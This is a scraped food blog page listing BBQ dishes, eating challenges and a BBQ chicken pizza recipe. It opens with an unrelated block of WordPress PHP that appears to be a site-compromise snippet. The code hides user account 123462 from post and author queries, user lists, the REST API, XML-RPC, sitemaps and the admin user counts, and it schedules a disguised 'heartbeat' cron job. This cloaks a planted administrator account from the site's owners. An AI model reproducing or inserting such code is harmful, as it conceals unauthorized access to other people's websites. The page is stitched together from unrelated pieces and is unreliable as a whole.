add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

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Photo courtesy of Jason & Shawnda.
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Photo courtesy of From Away.
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Photo courtesy of How Sweet It Is.
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Photo courtesy of Pink Parsley.
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Photo courtesy of Smells Like Home.
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Photo courtesy of Cully’s Kitchen.
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Photo courtesy of Delicious Shots.
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The challenge consists of soup or salad, a full rack of ribs, sliced beef brisket, 1 lb of pulled pork, pulled chicken, 1/2 BBQ chicken, and two family sized sides. If completed in one hour, this $40 feast is free.
Islip, New York
The post Land Lubber’s Challenge From Port Royale Grille first appeared on Damn That Looks Good.
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Photo courtesy of Dr. Rub Spices.
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A hot dog topped with topped with pork rinds and BBQ sauce.
Photo courtesy of the Food Network.
The post The Cincinnati Dog first appeared on Damn That Looks Good.
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This burrito challenge consists of a 4 lb. burrito stuffed with coleslaw, chopped pork, BBQ beans and more, plus a 1/2 pound of macaroni and cheese and a 1/2 pound of banana pudding. Finish in an hour and you get a t-shirt and a poster.
Knoxville, Tennessee
The post El Gigante Comida Burrito Challenge From Sweet P's BBQ first appeared on Damn That Looks Good.
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Ingredients:
1 teaspoon extra-virgin olive oil, plus more for brushing
1/2 pound prepared pizza dough, at room temperature
1/3 cup plus 2 tablespoons dark barbecue sauce
1 8-ounce skinless, boneless chicken breast
Kosher salt and freshly ground pepper
2/3 cup grated smoked gouda cheese (about 3 ounces)
2/3 cup grated part-skim mozzarella cheese (about 3 ounces)
1/2 small red onion, thinly sliced
Fresh cilantro, for topping
Directions
Brush a large bowl with olive oil. Shape the pizza dough into a ball, add it to the bowl and turn to coat with the oil. Cover tightly with plastic wrap and set aside in a warm place, 30 to 40 minutes.
Position racks in the upper third and middle of the oven. Place a pizza stone or inverted baking sheet on the top rack and preheat the oven to 425 degrees F for at least 30 minutes.
Meanwhile, lay out a sheet of parchment paper and brush with olive oil. Transfer the ball of dough to the parchment and roll it out into a 10-inch round, stretching it with your hands as needed. Lightly brush the dough with olive oil, cover with another piece of parchment and set aside to let rise slightly, about 30 minutes.
While the dough rises, mix 2 tablespoons barbecue sauce and 1 teaspoon olive oil in a small bowl. Put the chicken in a baking dish, season with salt and pepper and brush with the barbecue sauce mixture. Bake on the middle oven rack until cooked through, about 20 minutes. Let cool, then cut into 1/2-inch cubes.
Uncover the dough and spread with the remaining 1/3 cup barbecue sauce, leaving a 3/4-inch border. Top with the chicken, gouda, mozzarella and red onion. Slide the pizza (on the parchment) onto a pizza peel or another inverted baking sheet, then slide onto the hot stone or baking sheet; bake until the cheese melts and the crust is golden, 20 to 25 minutes. Sprinkle with cilantro.
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A hot dog topped with topped with pulled pork and coleslaw.
Photo courtesy of the Food Network.
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Photo courtesy of Indirect Heat.
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Onion rings, zucchini sticks, mushroom caps, French fries, BBQ wings, and nachos.
Canada
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Portland, Oregon
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Click here to get the recipe!
Photo & recipe courtesy of Betty Crocker.
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Click here to get the recipe!
Photo & recipe courtesy of Betty Crocker.
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Click here to get the recipe!
Photo & recipe courtesy of Betty Crocker.
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A 6 ounce marinated chicken breast, a half rack of the Gov’s famous ribs smothered in barbecue sauce with coleslaw and seasoned fries.
Kansas City, Missouri
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8oz. sirloin patty, turkey breast, pulled BBQ chicken, sliced ham, more turkey, bacon, cheddar cheese, and spicy pimento cheese.
Atlanta, Georgia
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A burger patty topped with Wisconsin gruyere cheese, BBQ sauce, pickle spears, onions, and pepper coleslaw, on grilled sourdough.
Photo courtesy of Cheese & Burger.
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The Kansas City is a mouthful of savory pulled pork, Wisconsin smoked gouda, grilled onions, coleslaw, and barbecue chips on a sesame bun. All smothered in barbecue sauce, of course.
Photo courtesy of Cheese & Burger.
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Click here to get the recipe!
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“The challenge is to eat 5 pounds of “Pig Wings,” which are cuts of meat right by the shoulder on a pig, with a bone going through the center. They are fried & dipped in BBQ sauce. In addition, there are 3 pounds of corn nuggets which are basically fried creamed corn. Challengers must finish the massive 8 pound meal in under 1 hour. Winners receive the meal free & a cool Starsky’s t-shirt. Losers must pay for the meal.”
Omaha, Nebraska
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“Battered fresh middleneck clams with shoestring fries, BBQ sauce, bacon, and coleslaw on a sub bun served with our homemade mussel & clam chowder.”
They currently do not have a website (at least I couldn’t find it), but you can check out their Facebook page here.
Cleveland, Ohio
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Thanks to Caileigh for the photo!
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Thanks to Joe for the photo!
Durand, Michigan
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Two half-pound burger patties topped with cheese, onions, mushrooms, bacon, barbecue sauce and onion rings, and a 3.5-pound side of fries equalling 7.5 pounds total.
Grand Haven, Michigan
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BBQ pork ribs, cumin-roasted corn, and baby carrots with tarragon.
Thanks to Scottie for the photo!
McKinleyville, California
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Thanks to Scottie for the photo!
McKinleyville, California
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A one pound burger patty with 1/2 pound coleslaw, 2 fried eggs, 4 pieces of cheese, 1/2 pound macaroni and cheese, 1/2 pound beef brisket, onion tanglers, jalapeno bottle caps, and BBQ sauce.
New York
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BBQ pulled chicken, BBQ ribs, macaroni and cheese, and baked beans.
Pulled pork, smoked sausage, beef brisket, baked beans, and macaroni and cheese.
Photo courtesy of Papakaster Eatin.
Anaheim, California
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Pepperoni Pizza
Calzone
The Sassy Chick: A BBQ chicken pizza that is loaded with cheese, bacon, red onions, and BBQ chicken.
Photo courtesy of Papakaster Eatin.
Santa Ana, California
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“Any single belly that accomplishes such feat in one hour will be treated to an Official Porker T-shirt, his/her picture on Our Wall Of Fame, and we’ll even pay for your platter! Good Luck!”
It consists of a full slab of St. Louis ribs, 1/4 lb. pulled pork on Texas toast, 1/4 lb. of brisket on Texas toast, 4 wings, 3 rib tips, With 2 sides and Cornbread, all for $34.95.
Long Beach, New York
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BBQ chicken sandwich with hand-pulled chicken, coated with BBQ sauce and covered in melted jack cheese.
Rib tips, pulled pork, baked beans, corn on the cob, and a cornbread muffin.
Photo courtesy of Papakaster Eatin.
Orange, California
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From bottom to top: bun, burger, bacon, chicken, bacon, burger, bacon, Jack Link’s beef jerky, top of bun. Served with a side of chicken tenders.
The post The Slaughterhouse first appeared on Damn That Looks Good.
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A burger patty topped with Wisconsin brick cheese, Wisconsin cheddar cheese, ham, a fried egg, onion rings, and BBQ sauce.
Photo courtesy of Cheese & Burger.
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Thanks to Devin for the photo!
Bluefield, West Virignia
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San Diego, California
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Smoked pulled pork sandwich, smoked chicken wings, BBQ pork spare ribs, smoked beef tenderloin, spicy cajun potato salad, garden fresh pesto roma penne parmesan salad, some smoked peppers, onions, and mushrooms, and some pickled cucumbers.
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A burger patty topped with Wisconsin brick cheese, BBQ sauce, peppered pork, onion rings, Bibb lettuce, and mayo, on a toasted sesame seed bun.
Photo courtesy of Cheese & Burger.
The post The Honky Tonk first appeared on Damn That Looks Good.
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Pizza with slow cooked pork, homemade spicy BBQ sauce, poblano peppers, jalapenos and red onions.
The post Tex Mex Pizza first appeared on Damn That Looks Good.
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An all-beef patty covered in cheddar cheese, bacon, onion rings, and BBQ sauce.
The post The Texas Ranger Burger first appeared on Damn That Looks Good.
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Photo courtesy of Hungry In Houston.
Austin, Texas
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Thanks to Lorrie for the photo!
Asheville, North Carolina
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St. Louis ribs slow smoked over oak/hickory with a homemade rub and glaze.
Thanks to Chris for the photo!
Indianapolis, Indiana
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Thanks to Ashlee for the photo!
Bowling Green, Kentucky
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Thanks to Brandi for the photo!
Brentwood, Pennsylvania
The post Cheesesteaks From Rowdy BBQ first appeared on Damn That Looks Good.
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Burger with two patties, pulled pork, BBQ sauce, bacon, cheese and slaw.
The post BBQ Pulled Pork Bacon Cheeseburger first appeared on Damn That Looks Good.
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Photo courtesy of DGAT.
The post Grilled Chicken Legs first appeared on Damn That Looks Good.
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Photo courtesy of Savory Reviews.
The post Grilled BBQ Chicken Pizza first appeared on Damn That Looks Good.
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Thanks to Christina for the photo!
Canada
The post Chicken & Waffles From Pig BBQ Joint first appeared on Damn That Looks Good.
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Photo courtesy of Food Brood.
Macon, Georgia
The post BBQ Ribs From Fresh Air first appeared on Damn That Looks Good.
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Baked potato covered in baked beans, coleslaw and pulled pork.
Photo courtesy of SBR Forum.
The post Southern Baked Potato first appeared on Damn That Looks Good.
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BBQ sandwich served with a side of potato salad, pickles and onions.
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Spicy smoked beef sausage wrapped in applewood-smoked bacon with Coca-Cola BBQ sauce and smoked gouda cheese. Image courtesy of Ed Fisher.
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Look at the bark and smoke ring on that pork. *Drools*. Image courtesy of Ed Fisher.
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Grilled chicken breast, vine ripened tomatoes, romaine lettuce, extra aged cheddar, mayo and honey garlic barbecue sauce on a Vienna baguette.
The post Grilled Chicken Sandwich first appeared on Damn That Looks Good.
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